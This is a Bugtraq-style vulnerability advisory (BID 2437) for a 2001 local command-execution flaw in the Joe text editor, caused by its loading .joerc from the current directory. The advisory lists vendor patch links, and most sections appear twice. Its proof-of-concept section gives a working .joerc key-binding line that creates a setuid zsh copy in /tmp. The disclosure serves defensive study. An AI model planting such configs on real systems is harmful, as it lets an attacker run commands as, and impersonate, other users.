Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
BID:2437
Info
Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 2437 |
| Class: | Serialization Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 28 2001 12:00AM |
| Updated: | Feb 28 2001 12:00AM |
| Credit: | This vulnerability was announed to Bugtraq by Wkit Security AB on February 28, 2001. |
| Vulnerable: |
Redhat joe-2.8-40.i386.rpm Redhat joe-2.8-18.i386.rpm Joseph Allen joe 2.8 |
| Not Vulnerable: | |
Discussion
Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.
A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.
Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges.
Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.
A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.
Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges.
Exploit / POC
Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding:
:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype
This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe.
Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding:
:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype
This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe.
Solution / Fix
Joe Text Editor .joerc Arbitrary Command Execution Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Redhat joe-2.8-18.i386.rpm
Redhat joe-2.8-40.i386.rpm
Joseph Allen joe 2.8
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Redhat joe-2.8-18.i386.rpm
-
Red Hat Inc. 6.0 i386 joe-2.8-42.62.i386.rpm
ftp://updates.redhat.com/6.0/i386/joe-2.8-42.62.i386.rpm
Redhat joe-2.8-40.i386.rpm
-
Red Hat Inc. 7.0 i386 joe-2.8-43.i386.rpm
ftp://updates.redhat.com/7.0/i386/joe-2.8-43.i386.rpm
Joseph Allen joe 2.8
-
Debian 2.2 alpha joe_2.8-15.3_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/joe_ 2.8-15.3_alpha.deb -
Debian 2.2 arm joe_2.8-15.3_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/joe_2. 8-15.3_arm.deb -
Debian 2.2 i386 joe_2.8-15.3_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/joe_2 .8-15.3_i386.deb -
Debian 2.2 m68k joe_2.8-15.3_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/joe_2 .8-15.3_m68k.deb -
Debian 2.2 ppc joe_2.8-15.3_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/jo e_2.8-15.3_powerpc.deb -
Immunix 6.2 i386 joe-2.8-43.62_StackGuard.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/joe-2.8-43.62_StackGuard .i386.rpm -
Immunix 7.0-BETA i386 joe-2.8-43.7_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/joe-2.8-43.7_imnx.i386.r pm -
MandrakeSoft 1.0.1 i386 joe-2.8-21.5mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/1.0.1/RPM S/joe-2.8-21.5mdk.i586.rpm -
MandrakeSoft 6.0 i386 joe-2.8-21.6mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/6.0/RPMS/ joe-2.8-21.6mdk.i586.rpm -
MandrakeSoft 6.1 i386 joe-2.8-21.6mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/6.1/RPMS/ joe-2.8-21.6mdk.i586.rpm -
MandrakeSoft 7.0 i386 joe-2.8-21.6mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.0/RPMS/ joe-2.8-21.6mdk.i586.rpm -
MandrakeSoft 7.1 i386 joe-2.8-21.5mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.1/RPMS/ joe-2.8-21.5mdk.i586.rpm -
MandrakeSoft 7.2 i386 joe-2.8-21.4mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.2/RPMS/ joe-2.8-21.4mdk.i586.rpm -
Red Hat Inc. 5.2 alpha joe-2.8-43.52.alpha.rpm
ftp://updates.redhat.com/5.2/alpha/joe-2.8-43.52.alpha.rpm -
Red Hat Inc. 5.2 i386 joe-2.8-43.52.i386.rpm
ftp://updates.redhat.com/5.2/i386/joe-2.8-43.52.i386.rpm -
Red Hat Inc. 5.2 sparc joe-2.8-43.52.sparc.rpm
ftp://updates.redhat.com/5.2/sparc/joe-2.8-43.52.sparc.rpm -
Red Hat Inc. 6.0 alpha joe-2.8-42.62.alpha.rpm
ftp://updates.redhat.com/6.0/alpha/joe-2.8-42.62.alpha.rpm -
Red Hat Inc. 6.0 i386 joe-2.8-42.62.i386.rpm
ftp://updates.redhat.com/6.0/i386/joe-2.8-42.62.i386.rpm -
Red Hat Inc. 6.0 sparc joe-2.8-42.62.sparc.rpm
ftp://updates.redhat.com/6.0/sparc/joe-2.8-42.62.sparc.rpm -
Red Hat Inc. 6.2 alpha joe-2.8-43.62.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/joe-2.8-43.62.alpha.rpm -
Red Hat Inc. 6.2 i386 joe-2.8-43.62.i386.rpm
ftp://updates.redhat.com/6.2/i386/joe-2.8-43.62.i386.rpm -
Red Hat Inc. 6.2 sparc joe-2.8-43.62.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/joe-2.8-43.62.sparc.rpm -
Red Hat Inc. 7.0 alpha joe-2.8-43.7.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/joe-2.8-43.7.alpha.rpm -
Red Hat Inc. 7.0 i386 joe-2.8-43.i386.rpm
ftp://updates.redhat.com/7.0/i386/joe-2.8-43.i386.rpm -
S.u.S.E. 6.1 i386 joe-2.8-305.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/ap1/joe-2.8-305.i386.rpm -
S.u.S.E. 6.2 i386 joe-2.8-302.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/ap1/joe-2.8-302.i386.rpm -
S.u.S.E. 6.3 alpha joe-2.8-293.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/ap1/joe-2.8-293.alpha.rpm -
S.u.S.E. 6.3 i386 joe-2.8-302.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/ap1/joe-2.8-302.i386.rpm -
S.u.S.E. 6.4 alpha joe-2.8-293.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/ap1/joe-2.8-293.alpha.rpm -
S.u.S.E. 6.4 i386 joe-2.8-303.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/ap1/joe-2.8-303.i386.rpm -
S.u.S.E. 6.4 PPC joe-2.8-273.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/ap1/joe-2.8-273.ppc.rpm -
S.u.S.E. 7.0 alpha joe-2.8-296.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/7.0/ap1/joe-2.8-296.alpha.rpm -
S.u.S.E. 7.0 i386 joe-2.8-304.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.0/ap1/joe-2.8-304.i386.rpm -
S.u.S.E. 7.0 PPC joe-2.8-274.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/ap1/joe-2.8-274.ppc.rpm -
S.u.S.E. 7.0 sparc joe-2.8-292.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/ap1/joe-2.8-292.sparc.rpm -
S.u.S.E. 7.1 i386 joe-2.8-300.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.1/ap1/joe-2.8-300.i386.rpm -
S.u.S.E. 7.1 PPC joe-2.8-272.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/ap1/joe-2.8-272.ppc.rpm -
S.u.S.E. 7.1 sparc joe-2.8-290.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/ap1/joe-2.8-290.sparc.rpm